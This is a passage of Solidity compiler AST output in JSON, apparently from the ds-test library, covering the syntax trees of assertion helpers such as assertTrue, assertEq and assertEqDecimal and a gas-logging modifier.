"},{"attributes":{"implemented":true,"isConstructor":false,"kind":"function","modifiers":[null],"name":"expectEventsExact","scope":2747,"stateMutability":"nonpayable","virtual":false,"visibility":"internal"},"children":[{"children":[{"attributes":{"constant":false,"mutability":"mutable","name":"target","scope":2396,"stateVariable":false,"storageLocation":"default","type":"address","visibility":"internal"},"children":[{"attributes":{"name":"address","stateMutability":"nonpayable","type":"address"},"id":2386,"name":"ElementaryTypeName","src":"1516:7:0"}],"id":2387,"name":"VariableDeclaration","src":"1516:14:0"}],"id":2388,"name":"ParameterList","src":"1515:16:0"},{"attributes":{"parameters":[null]},"children":[],"id":2389,"name":"ParameterList","src":"1541:0:0"},{"children":[{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"tuple()","type_conversion":false},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bool","typeString":"bool"}],"overloadedDeclarations":[null],"referencedDeclaration":2311,"type":"function (address,bool)","value":"eventListener"},"id":2390,"name":"Identifier","src":"1556:13:0"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":2387,"type":"address","value":"target"},"id":2391,"name":"Identifier","src":"1570:6:0"},{"attributes":{"hexvalue":"74727565","isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"token":"bool","type":"bool","value":"true"},"id":2392,"name":"Literal","src":"1578:4:0"}],"id":2393,"name":"FunctionCall","src":"1556:27:0"}],"id":2394,"name":"EmitStatement","src":"1551:32:0"}],"id":2395,"name":"Block","src":"1541:49:0"}],"id":2396,"name":"FunctionDefinition","src":"1489:101:0"},{"attributes":{"name":"logs_gas","virtual":false,"visibility":"internal"},"children":[{"attributes":{"parameters":[null]},"children":[],"id":2397,"name":"ParameterList","src":"1613:2:0"},{"children":[{"attributes":{"assignments":[2399]},"children":[{"attributes":{"constant":false,"mutability":"mutable","name":"startGas","scope":2416,"stateVariable":false,"storageLocation":"default","type":"uint256","visibility":"internal"},"children":[{"attributes":{"name":"uint","type":"uint256"},"id":2398,"name":"ElementaryTypeName","src":"1626:4:0"}],"id":2399,"name":"VariableDeclaration","src":"1626:13:0"},{"attributes":{"arguments":[null],"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"uint256","type_conversion":false},"children":[{"attributes":{"argumentTypes":[null],"overloadedDeclarations":[null],"referencedDeclaration":-7,"type":"function () view returns (uint256)","value":"gasleft"},"id":2400,"name":"Identifier","src":"1642:7:0"}],"id":2401,"name":"FunctionCall","src":"1642:9:0"}],"id":2402,"name":"VariableDeclarationStatement","src":"1626:25:0"},{"id":2403,"name":"PlaceholderStatement","src":"1661:1:0"},{"attributes":{"assignments":[2405]},"children":[{"attributes":{"constant":false,"mutability":"mutable","name":"endGas","scope":2416,"stateVariable":false,"storageLocation":"default","type":"uint256","visibility":"internal"},"children":[{"attributes":{"name":"uint","type":"uint256"},"id":2404,"name":"ElementaryTypeName","src":"1672:4:0"}],"id":2405,"name":"VariableDeclaration","src":"1672:11:0"},{"attributes":{"arguments":[null],"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"uint256","type_conversion":false},"children":[{"attributes":{"argumentTypes":[null],"overloadedDeclarations":[null],"referencedDeclaration":-7,"type":"function () view returns (uint256)","value":"gasleft"},"id":2406,"name":"Identifier","src":"1686:7:0"}],"id":2407,"name":"FunctionCall","src":"1686:9:0"}],"id":2408,"name":"VariableDeclarationStatement","src":"1672:23:0"},{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"tuple()","type_conversion":false},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_4498c2139ad6cf2beef3ae7bec34c4856d471c8680dfd28d553f117df74df6b7","typeString":"literal_string \"gas\""},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"overloadedDeclarations":[null],"referencedDeclaration":2359,"type":"function (bytes32,uint256)","value":"log_named_uint"},"id":2409,"name":"Identifier","src":"1710:14:0"},{"attributes":{"hexvalue":"676173","isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"token":"string","type":"literal_string \"gas\"","value":"gas"},"id":2410,"name":"Literal","src":"1725:5:0"},{"attributes":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"operator":"-","type":"uint256"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":2399,"type":"uint256","value":"startGas"},"id":2411,"name":"Identifier","src":"1732:8:0"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":2405,"type":"uint256","value":"endGas"},"id":2412,"name":"Identifier","src":"1743:6:0"}],"id":2413,"name":"BinaryOperation","src":"1732:17:0"}],"id":2414,"name":"FunctionCall","src":"1710:40:0"}],"id":2415,"name":"EmitStatement","src":"1705:45:0"}],"id":2416,"name":"Block","src":"1616:141:0"}],"id":2417,"name":"ModifierDefinition","src":"1596:161:0"},{"attributes":{"implemented":true,"isConstructor":false,"kind":"function","modifiers":[null],"name":"assertTrue","scope":2747,"stateMutability":"nonpayable","virtual":false,"visibility":"internal"},"children":[{"children":[{"attributes":{"constant":false,"mutability":"mutable","name":"condition","scope":2434,"stateVariable":false,"storageLocation":"default","type":"bool","visibility":"internal"},"children":[{"attributes":{"name":"bool","type":"bool"},"id":2418,"name":"ElementaryTypeName","src":"1783:4:0"}],"id":2419,"name":"VariableDeclaration","src":"1783:14:0"}],"id":2420,"name":"ParameterList","src":"1782:16:0"},{"attributes":{"parameters":[null]},"children":[],"id":2421,"name":"ParameterList","src":"1808:0:0"},{"children":[{"attributes":{},"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"operator":"!","prefix":true,"type":"bool"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":2419,"type":"bool","value":"condition"},"id":2422,"name":"Identifier","src":"1823:9:0"}],"id":2423,"name":"UnaryOperation","src":"1822:10:0"},{"children":[{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"tuple()","type_conversion":false},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_ede1f90ce497dfbddc2cf77d840cc7d29246a1b516a68ce6ebf2ce12d4a6e2e3","typeString":"literal_string \"Assertion failed\""}],"overloadedDeclarations":[null],"referencedDeclaration":2319,"type":"function (bytes32)","value":"log_bytes32"},"id":2424,"name":"Identifier","src":"1853:11:0"},{"attributes":{"hexvalue":"417373657274696f6e206661696c6564","isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"token":"string","type":"literal_string \"Assertion failed\"","value":"Assertion failed"},"id":2425,"name":"Literal","src":"1865:18:0"}],"id":2426,"name":"FunctionCall","src":"1853:31:0"}],"id":2427,"name":"EmitStatement","src":"1848:36:0"},{"children":[{"attributes":{"arguments":[null],"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"tuple()","type_conversion":false},"children":[{"attributes":{"argumentTypes":[null],"overloadedDeclarations":[null],"referencedDeclaration":2385,"type":"function ()","value":"fail"},"id":2428,"name":"Identifier","src":"1898:4:0"}],"id":2429,"name":"FunctionCall","src":"1898:6:0"}],"id":2430,"name":"ExpressionStatement","src":"1898:6:0"}],"id":2431,"name":"Block","src":"1834:81:0"}],"id":2432,"name":"IfStatement","src":"1818:97:0"}],"id":2433,"name":"Block","src":"1808:113:0"}],"id":2434,"name":"FunctionDefinition","src":"1763:158:0"},{"attributes":{"implemented":true,"isConstructor":false,"kind":"function","modifiers":[null],"name":"assertEq","scope":2747,"stateMutability":"nonpayable","virtual":false,"visibility":"internal"},"children":[{"children":[{"attributes":{"constant":false,"mutability":"mutable","name":"a","scope":2464,"stateVariable":false,"storageLocation":"default","type":"address","visibility":"internal"},"children":[{"attributes":{"name":"address","stateMutability":"nonpayable","type":"address"},"id":2435,"name":"ElementaryTypeName","src":"1945:7:0"}],"id":2436,"name":"VariableDeclaration","src":"1945:9:0"},{"attributes":{"constant":false,"mutability":"mutable","name":"b","scope":2464,"stateVariable":false,"storageLocation":"default","type":"address","visibility":"internal"},"children":[{"attributes":{"name":"address","stateMutability":"nonpayable","type":"address"},"id":2437,"name":"ElementaryTypeName","src":"1956:7:0"}],"id":2438,"name":"VariableDeclaration","src":"1956:9:0"}],"id":2439,"name":"ParameterList","src":"1944:22:0"},{"attributes":{"parameters":[null]},"children":[],"id":2440,"name":"ParameterList","src":"1976:0:0"},{"children":[{"attributes":{},"children":[{"attributes":{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"operator":"!=","type":"bool"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":2436,"type":"address","value":"a"},"id":2441,"name":"Identifier","src":"1990:1:0"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":2438,"type":"address","value":"b"},"id":2442,"name":"Identifier","src":"1995:1:0"}],"id":2443,"name":"BinaryOperation","src":"1990:6:0"},{"children":[{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"tuple()","type_conversion":false},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_0683fdcecd7ea554c482acf92a0f1fdf00e7500cf6d859b38e57e7c328d27a83","typeString":"literal_string \"Error: Wrong `address' value\""}],"overloadedDeclarations":[null],"referencedDeclaration":2319,"type":"function (bytes32)","value":"log_bytes32"},"id":2444,"name":"Identifier","src":"2017:11:0"},{"attributes":{"hexvalue":"4572726f723a2057726f6e67206061646472657373272076616c7565","isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"token":"string","type":"literal_string \"Error: Wrong `address' value\"","value":"Error: Wrong `address' value"},"id":2445,"name":"Literal","src":"2029:30:0"}],"id":2446,"name":"FunctionCall","src":"2017:43:0"}],"id":2447,"name":"EmitStatement","src":"2012:48:0"},{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"tuple()","type_conversion":false},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_42fa07d7c51ce5de92a0fc65dbf7e7800814fd01c258dc50e84d5be59184bf0b","typeString":"literal_string \" Expected\""},{"typeIdentifier":"t_address","typeString":"address"}],"overloadedDeclarations":[null],"referencedDeclaration":2325,"type":"function (bytes32,address)","value":"log_named_address"},"id":2448,"name":"Identifier","src":"2079:17:0"},{"attributes":{"hexvalue":"20204578706563746564","isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"token":"string","type":"literal_string \" Expected\"","value":" Expected"},"id":2449,"name":"Literal","src":"2097:12:0"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":2438,"type":"address","value":"b"},"id":2450,"name":"Identifier","src":"2111:1:0"}],"id":2451,"name":"FunctionCall","src":"2079:34:0"}],"id":2452,"name":"EmitStatement","src":"2074:39:0"},{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"tuple()","type_conversion":false},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_d7896f3f645b3ba89da46bf231a5df16e525e587a84bc9b284dfb39958fb219b","typeString":"literal_string \" Actual\""},{"typeIdentifier":"t_address","typeString":"address"}],"overloadedDeclarations":[null],"referencedDeclaration":2325,"type":"function (bytes32,address)","value":"log_named_address"},"id":2453,"name":"Identifier","src":"2132:17:0"},{"attributes":{"hexvalue":"2020202041637475616c","isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"token":"string","type":"literal_string \" Actual\"","value":" Actual"},"id":2454,"name":"Literal","src":"2150:12:0"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":2436,"type":"address","value":"a"},"id":2455,"name":"Identifier","src":"2164:1:0"}],"id":2456,"name":"FunctionCall","src":"2132:34:0"}],"id":2457,"name":"EmitStatement","src":"2127:39:0"},{"children":[{"attributes":{"arguments":[null],"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"tuple()","type_conversion":false},"children":[{"attributes":{"argumentTypes":[null],"overloadedDeclarations":[null],"referencedDeclaration":2385,"type":"function ()","value":"fail"},"id":2458,"name":"Identifier","src":"2180:4:0"}],"id":2459,"name":"FunctionCall","src":"2180:6:0"}],"id":2460,"name":"ExpressionStatement","src":"2180:6:0"}],"id":2461,"name":"Block","src":"1998:199:0"}],"id":2462,"name":"IfStatement","src":"1986:211:0"}],"id":2463,"name":"Block","src":"1976:227:0"}],"id":2464,"name":"FunctionDefinition","src":"1927:276:0"},{"attributes":{"implemented":true,"isConstructor":false,"kind":"function","modifiers":[null],"name":"assertEq32","scope":2747,"stateMutability":"nonpayable","virtual":false,"visibility":"internal"},"children":[{"children":[{"attributes":{"constant":false,"mutability":"mutable","name":"a","scope":2477,"stateVariable":false,"storageLocation":"default","type":"bytes32","visibility":"internal"},"children":[{"attributes":{"name":"bytes32","type":"bytes32"},"id":2465,"name":"ElementaryTypeName","src":"2229:7:0"}],"id":2466,"name":"VariableDeclaration","src":"2229:9:0"},{"attributes":{"constant":false,"mutability":"mutable","name":"b","scope":2477,"stateVariable":false,"storageLocation":"default","type":"bytes32","visibility":"internal"},"children":[{"attributes":{"name":"bytes32","type":"bytes32"},"id":2467,"name":"ElementaryTypeName","src":"2240:7:0"}],"id":2468,"name":"VariableDeclaration","src":"2240:9:0"}],"id":2469,"name":"ParameterList","src":"2228:22:0"},{"attributes":{"parameters":[null]},"children":[],"id":2470,"name":"ParameterList","src":"2260:0:0"},{"children":[{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"tuple()","type_conversion":false},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_bytes32","typeString":"bytes32"},{"typeIdentifier":"t_bytes32","typeString":"bytes32"}],"overloadedDeclarations":[2464,2507,2605,2635,2675],"referencedDeclaration":2507,"type":"function (bytes32,bytes32)","value":"assertEq"},"id":2471,"name":"Identifier","src":"2270:8:0"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":2466,"type":"bytes32","value":"a"},"id":2472,"name":"Identifier","src":"2279:1:0"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":2468,"type":"bytes32","value":"b"},"id":2473,"name":"Identifier","src":"2282:1:0"}],"id":2474,"name":"FunctionCall","src":"2270:14:0"}],"id":2475,"name":"ExpressionStatement","src":"2270:14:0"}],"id":2476,"name":"Block","src":"2260:31:0"}],"id":2477,"name":"FunctionDefinition","src":"2209:82:0"},{"attributes":{"implemented":true,"isConstructor":false,"kind":"function","modifiers":[null],"name":"assertEq","scope":2747,"stateMutability":"nonpayable","virtual":false,"visibility":"internal"},"children":[{"children":[{"attributes":{"constant":false,"mutability":"mutable","name":"a","scope":2507,"stateVariable":false,"storageLocation":"default","type":"bytes32","visibility":"internal"},"children":[{"attributes":{"name":"bytes32","type":"bytes32"},"id":2478,"name":"ElementaryTypeName","src":"2315:7:0"}],"id":2479,"name":"VariableDeclaration","src":"2315:9:0"},{"attributes":{"constant":false,"mutability":"mutable","name":"b","scope":2507,"stateVariable":false,"storageLocation":"default","type":"bytes32","visibility":"internal"},"children":[{"attributes":{"name":"bytes32","type":"bytes32"},"id":2480,"name":"ElementaryTypeName","src":"2326:7:0"}],"id":2481,"name":"VariableDeclaration","src":"2326:9:0"}],"id":2482,"name":"ParameterList","src":"2314:22:0"},{"attributes":{"parameters":[null]},"children":[],"id":2483,"name":"ParameterList","src":"2346:0:0"},{"children":[{"attributes":{},"children":[{"attributes":{"commonType":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"operator":"!=","type":"bool"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":2479,"type":"bytes32","value":"a"},"id":2484,"name":"Identifier","src":"2360:1:0"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":2481,"type":"bytes32","value":"b"},"id":2485,"name":"Identifier","src":"2365:1:0"}],"id":2486,"name":"BinaryOperation","src":"2360:6:0"},{"children":[{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"tuple()","type_conversion":false},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_4692831fb71a6c15ae5c8368fb0b2d1551127a5550d21ad1554fd4ea230f9dc0","typeString":"literal_string \"Error: Wrong `bytes32' value\""}],"overloadedDeclarations":[null],"referencedDeclaration":2319,"type":"function (bytes32)","value":"log_bytes32"},"id":2487,"name":"Identifier","src":"2387:11:0"},{"attributes":{"hexvalue":"4572726f723a2057726f6e67206062797465733332272076616c7565","isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"token":"string","type":"literal_string \"Error: Wrong `bytes32' value\"","value":"Error: Wrong `bytes32' value"},"id":2488,"name":"Literal","src":"2399:30:0"}],"id":2489,"name":"FunctionCall","src":"2387:43:0"}],"id":2490,"name":"EmitStatement","src":"2382:48:0"},{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"tuple()","type_conversion":false},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_42fa07d7c51ce5de92a0fc65dbf7e7800814fd01c258dc50e84d5be59184bf0b","typeString":"literal_string \" Expected\""},{"typeIdentifier":"t_bytes32","typeString":"bytes32"}],"overloadedDeclarations":[null],"referencedDeclaration":2331,"type":"function (bytes32,bytes32)","value":"log_named_bytes32"},"id":2491,"name":"Identifier","src":"2449:17:0"},{"attributes":{"hexvalue":"20204578706563746564","isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"token":"string","type":"literal_string \" Expected\"","value":" Expected"},"id":2492,"name":"Literal","src":"2467:12:0"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":2481,"type":"bytes32","value":"b"},"id":2493,"name":"Identifier","src":"2481:1:0"}],"id":2494,"name":"FunctionCall","src":"2449:34:0"}],"id":2495,"name":"EmitStatement","src":"2444:39:0"},{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"tuple()","type_conversion":false},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_d7896f3f645b3ba89da46bf231a5df16e525e587a84bc9b284dfb39958fb219b","typeString":"literal_string \" Actual\""},{"typeIdentifier":"t_bytes32","typeString":"bytes32"}],"overloadedDeclarations":[null],"referencedDeclaration":2331,"type":"function (bytes32,bytes32)","value":"log_named_bytes32"},"id":2496,"name":"Identifier","src":"2502:17:0"},{"attributes":{"hexvalue":"2020202041637475616c","isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"token":"string","type":"literal_string \" Actual\"","value":" Actual"},"id":2497,"name":"Literal","src":"2520:12:0"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":2479,"type":"bytes32","value":"a"},"id":2498,"name":"Identifier","src":"2534:1:0"}],"id":2499,"name":"FunctionCall","src":"2502:34:0"}],"id":2500,"name":"EmitStatement","src":"2497:39:0"},{"children":[{"attributes":{"arguments":[null],"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"tuple()","type_conversion":false},"children":[{"attributes":{"argumentTypes":[null],"overloadedDeclarations":[null],"referencedDeclaration":2385,"type":"function ()","value":"fail"},"id":2501,"name":"Identifier","src":"2550:4:0"}],"id":2502,"name":"FunctionCall","src":"2550:6:0"}],"id":2503,"name":"ExpressionStatement","src":"2550:6:0"}],"id":2504,"name":"Block","src":"2368:199:0"}],"id":2505,"name":"IfStatement","src":"2356:211:0"}],"id":2506,"name":"Block","src":"2346:227:0"}],"id":2507,"name":"FunctionDefinition","src":"2297:276:0"},{"attributes":{"implemented":true,"isConstructor":false,"kind":"function","modifiers":[null],"name":"assertEqDecimal","scope":2747,"stateMutability":"nonpayable","virtual":false,"visibility":"internal"},"children":[{"children":[{"attributes":{"constant":false,"mutability":"mutable","name":"a","scope":2541,"stateVariable":false,"storageLocation":"default","type":"int256","visibility":"internal"},"children":[{"attributes":{"name":"int","type":"int256"},"id":2508,"name":"ElementaryTypeName","src":"2604:3:0"}],"id":2509,"name":"VariableDeclaration","src":"2604:5:0"},{"attributes":{"constant":false,"mutability":"mutable","name":"b","scope":2541,"stateVariable":false,"storageLocation":"default","type":"int256","visibility":"internal"},"children":[{"attributes":{"name":"int","type":"int256"},"id":2510,"name":"ElementaryTypeName","src":"2611:3:0"}],"id":2511,"name":"VariableDeclaration","src":"2611:5:0"},{"attributes":{"constant":false,"mutability":"mutable","name":"decimals","scope":2541,"stateVariable":false,"storageLocation":"default","type":"uint256","visibility":"internal"},"children":[{"attributes":{"name":"uint","type":"uint256"},"id":2512,"name":"ElementaryTypeName","src":"2618:4:0"}],"id":2513,"name":"VariableDeclaration","src":"2618:13:0"}],"id":2514,"name":"ParameterList","src":"2603:29:0"},{"attributes":{"parameters":[null]},"children":[],"id":2515,"name":"ParameterList","src":"2642:0:0"},{"children":[{"attributes":{},"children":[{"attributes":{"commonType":{"typeIdentifier":"t_int256","typeString":"int256"},"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"operator":"!=","type":"bool"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":2509,"type":"int256","value":"a"},"id":2516,"name":"Identifier","src":"2656:1:0"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":2511,"type":"int256","value":"b"},"id":2517,"name":"Identifier","src":"2661:1:0"}],"id":2518,"name":"BinaryOperation","src":"2656:6:0"},{"children":[{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"tuple()","type_conversion":false},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_d69bd525c8f7746901b6dd610d1ef8c9525af6efb22052f12dfd1e9f8d21ba64","typeString":"literal_string \"Error: Wrong fixed-point decimal\""}],"overloadedDeclarations":[null],"referencedDeclaration":2319,"type":"function (bytes32)","value":"log_bytes32"},"id":2519,"name":"Identifier","src":"2683:11:0"},{"attributes":{"hexvalue":"4572726f723a2057726f6e672066697865642d706f696e7420646563696d616c","isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"token":"string","type":"literal_string \"Error: Wrong fixed-point decimal\"","value":"Error: Wrong fixed-point decimal"},"id":2520,"name":"Literal","src":"2695:34:0"}],"id":2521,"name":"FunctionCall","src":"2683:47:0"}],"id":2522,"name":"EmitStatement","src":"2678:52:0"},{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"tuple()","type_conversion":false},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_42fa07d7c51ce5de92a0fc65dbf7e7800814fd01c258dc50e84d5be59184bf0b","typeString":"literal_string \" Expected\""},{"typeIdentifier":"t_int256","typeString":"int256"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"overloadedDeclarations":[null],"referencedDeclaration":2339,"type":"function (bytes32,int256,uint256)","value":"log_named_decimal_int"},"id":2523,"name":"Identifier","src":"2749:21:0"},{"attributes":{"hexvalue":"20204578706563746564","isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"token":"string","type":"literal_string \" Expected\"","value":" Expected"},"id":2524,"name":"Literal","src":"2771:12:0"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":2511,"type":"int256","value":"b"},"id":2525,"name":"Identifier","src":"2785:1:0"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":2513,"type":"uint256","value":"decimals"},"id":2526,"name":"Identifier","src":"2788:8:0"}],"id":2527,"name":"FunctionCall","src":"2749:48:0"}],"id":2528,"name":"EmitStatement","src":"2744:53:0"},{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"tuple()","type_conversion":false},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_d7896f3f645b3ba89da46bf231a5df16e525e587a84bc9b284dfb39958fb219b","typeString":"literal_string \" Actual\""},{"typeIdentifier":"t_int256","typeString":"int256"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"overloadedDeclarations":[null],"referencedDeclaration":2339,"type":"function (bytes32,int256,uint256)","value":"log_named_decimal_int"},"id":2529,"name":"Identifier","src":"2816:21:0"},{"attributes":{"hexvalue":"2020202041637475616c","isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"token":"string","type":"literal_string \" Actual\"","value":" Actual"},"id":2530,"name":"Literal","src":"2838:12:0"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":2509,"type":"int256","value":"a"},"id":2531,"name":"Identifier","src":"2852:1:0"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":2513,"type":"uint256","value":"decimals"},"id":2532,"name":"Identifier","src":"2855:8:0"}],"id":2533,"name":"FunctionCall","src":"2816:48:0"}],"id":2534,"name":"EmitStatement","src":"2811:53:0"},{"children":[{"attributes":{"arguments":[null],"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"tuple()","type_conversion":false},"children":[{"attributes":{"argumentTypes":[null],"overloadedDeclarations":[null],"referencedDeclaration":2385,"type":"function ()","value":"fail"},"id":2535,"name":"Identifier","src":"2878:4:0"}],"id":2536,"name":"FunctionCall","src":"2878:6:0"}],"id":2537,"name":"ExpressionStatement","src":"2878:6:0"}],"id":2538,"name":"Block","src":"2664:231:0"}],"id":2539,"name":"IfStatement","src":"2652:243:0"}],"id":2540,"name":"Block","src":"2642:259:0"}],"id":2541,"name":"FunctionDefinition","src":"2579:322:0"},{"attributes":{"implemented":true,"isConstructor":false,"kind":"function","modifiers":[null],"name":"assertEqDecimal","scope":2747,"stateMutability":"nonpayable","virtual":false,"visibility":"internal"},"children":[{"children":[{"attributes":{"constant":false,"mutability":"mutable","name":"a","scope":2575,"stateVariable":false,"storageLocation":"default","type":"uint256","visibility":"internal"},"children":[{"attributes":{"name":"uint","type":"uint256"},"id":2542,"name":"ElementaryTypeName","src":"2932:4:0"}],"id":2543,"name":"VariableDeclaration","src":"2932:6:0"},{"attributes":{"constant":false,"mutability":"mutable","name":"b","scope":2575,"stateVariable":false,"storageLocation":"default","type":"uint256","visibility":"internal"},"children":[{"attributes":{"name":"uint","type":"uint256"},"id":2544,"name":"ElementaryTypeName","src":"2940:4:0"}],"id":2545,"name":"VariableDeclaration","src":"2940:6:0"},{"attributes":{"constant":false,"mutability":"mutable","name":"decimals","scope":2575,"stateVariable":false,"storageLocation":"default","type":"uint256","visibility":"internal"},"children":[{"attributes":{"name":"uint","type":"uint256"},"id":2546,"name":"ElementaryTypeName","src":"2948:4:0"}],"id":2547,"name":"VariableDeclaration","src":"2948:13:0"}],"id":2548,"name":"ParameterList","src":"2931:31:0"},{"attributes":{"parameters":[null]},"children":[],"id":2549,"name":"ParameterList","src":"2972:0:0"},{"children":[{"attributes":{},"children":[{"attributes":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"operator":"!=","type":"bool"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":2543,"type":"uint256","value":"a"},"id":2550,"name":"Identifier","src":"2986:1:0"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":2545,"type":"uint256","value":"b"},"id":2551,"name":"Identifier","src":"2991:1:0"}],"id":2552,"name":"BinaryOperation","src":"2986:6:0"},{"children":[{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"tuple()","type_conversion":false},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_d69bd525c8f7746901b6dd610d1ef8c9525af6efb22052f12dfd1e9f8d21ba64","typeString":"literal_string \"Error: Wrong fixed-point decimal\""}],"overloadedDeclarations":[null],"referencedDeclaration":2319,"type":"function (bytes32)","value":"log_bytes32"},"id":2553,"name":"Identifier","src":"3013:11:0"},{"attributes":{"hexvalue":"4572726f723a2057726f6e672066697865642d706f696e7420646563696d616c","isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"token":"string","type":"literal_string \"Error: Wrong fixed-point decimal\"","value":"Error: Wrong fixed-point 